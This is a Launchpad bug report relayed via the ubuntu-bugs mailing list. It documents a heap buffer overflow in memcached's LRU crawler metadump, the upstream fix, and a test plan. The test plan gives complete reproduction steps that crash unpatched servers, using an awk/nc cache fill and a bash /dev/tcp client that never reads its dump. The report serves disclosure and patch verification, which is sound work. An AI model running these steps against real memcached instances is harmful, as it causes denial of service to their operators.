Public bug reported:
[Impact]
memcached's LRU crawler dump path (`lru_crawler metadump all` /
`mgdump`, handled by `lru_crawler_write()` in `crawler.c`) treats a
`poll()` timeout on the client socket as a successful buffer flush:
if (ret == 0) return 0;
When a client starts a dump and then stops reading, the kernel socket
send buffer fills, `poll()` times out, and `lru_crawler_write()` returns
"success" to the crawler thread without draining the buffer and without
resetting `bufused`. The crawler thread believes the buffer was flushed
and keeps appending crawler output at `c->buf + c->bufused`, past the
end of the fixed 128 KiB heap buffer allocated in
`lru_crawler_set_client()`. This is an out-of-bounds heap write (memory
corruption) that crashes the server (denial of service).
A secondary defect increments the unsigned `sent` counter on a mis-
placed line, so a persistent `EAGAIN` (`write()` returning -1)
underflows it and makes the next `data_size - sent` huge.
On Ubuntu's default `/etc/memcached.conf` (`-l 127.0.0.1`) the trigger is
local; instances bound to a routable address (`-l 0.0.0.0`) are exposed to any
client
that can issue a crawler dump. No authentication is required to run
`lru_crawler metadump` on a default (non-SASL) instance.
Fixed upstream in 1.6.44 (release notes call it "another security
release").
[Test Plan]
Reproduced and fix-verified in a clean noble LXD container with an
AddressSanitizer build of the exact archive source.
All steps are plain CLI (awk, nc, bash /dev/tcp).
Build:
pull-lp-source memcached noble
cd memcached-1.6.24
autoreconf -fi
CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer"
LDFLAGS="-fsanitize=address" ./configure
make -j$(nproc) memcached
Reproduce (unpatched):
1. Shrink the socket buffers so a non-reading client stalls promptly:
sysctl -w net.ipv4.tcp_wmem="4096 16384 65536"
sysctl -w net.core.wmem_max=65536
sysctl -w net.ipv4.tcp_rmem="4096 8192 16384"
2. Start the server under AddressSanitizer:
ASAN_OPTIONS=abort_on_error=1:halt_on_error=1 ./memcached -l 127.0.0.1
-p 11211 -m 2048 -u nobody -t 2
3. Store ~300000 keys so a full metadump (~22 MB) far exceeds the kernel
buffers:
awk 'BEGIN{
v=sprintf("%120s",""); gsub(/ /,"x",v);
for(i=1;i<=300000;i++) printf "set k%d 0 0 120 noreply\r\n%s\r\n", i, v;
printf "get k1\r\n";
}' | nc -q2 127.0.0.1 11211
Confirm they landed:
printf 'stats\r\n' | nc -q1 127.0.0.1 11211 | grep curr_items #
300000
4. Open one connection that requests the dump and never reads it.
nc auto-drains the socket, so use bash /dev/tcp and only write to the fd:
exec 3<>/dev/tcp/127.0.0.1/11211
printf 'lru_crawler enable\r\n' >&3
sleep 0.3
printf 'lru_crawler metadump all\r\n' >&3
sleep 600 # never read fd 3
exec 3<&- 3>&-
5. After the send buffer fills, each 1000 ms poll timeout lets the crawler
append ~1 item, so the 128 KiB buffer overruns after a minute or two.
AddressSanitizer aborts with:
ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 73
#3 crawler_metadump_eval crawler.c:275 (snprintf)
#4 item_crawler_thread crawler.c:555
allocated by lru_crawler_set_client crawler.c:707
The full ASAN report from the reference run is saved as
asan-unpatched-overflow.log.
A stock (non-ASAN) build instead gives SIGSEGV / malloc(): corrupted.
6. Apply the two patches, rebuild the same way, and repeat steps 2-4.
The server stays up for the full run with no overflow and keeps serving
other clients:
printf 'version\r\n' | nc -q1 127.0.0.1 11211 # VERSION 1.6.24
Upstream now retries the timed-out client and disconnects it after
~30 minutes instead of overrunning the buffer.
7. Run the upstream crawler test (t/lru-crawler.t) and confirm it still
passes.
[Where problems could occur]
The change is limited to lru_crawler_write() and two error handling paths in
item_crawler_thread() in crawler.c.
It is a direct upstream backport with no protocol, storage, or wire format
changes.
Regression risk is limited to LRU crawler dumps.
A slow or stalled dump client may now be disconnected after about 30 minutes of
socket write stalls.
An incorrect backport of the added lru_locks[i] locking could deadlock the
crawler thread.
[Other Info]
Upstream fix
"crawler: fix buffer overflow on idle client"
https://github.com/memcached/memcached/commit/7eeac6e9a9945aa68298aff379cea5ab3817af7c
"crawler: fix potential unlock of unlocked mutex"
https://github.com/memcached/memcached/commit/ea35f441f265b4aef3f7753aa5cbb87d99859123
** Affects: memcached (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2161693
Title:
memcached: heap buffer overflow in LRU crawler dump (lru_crawler
metadump) on an idle client
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/memcached/+bug/2161693/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
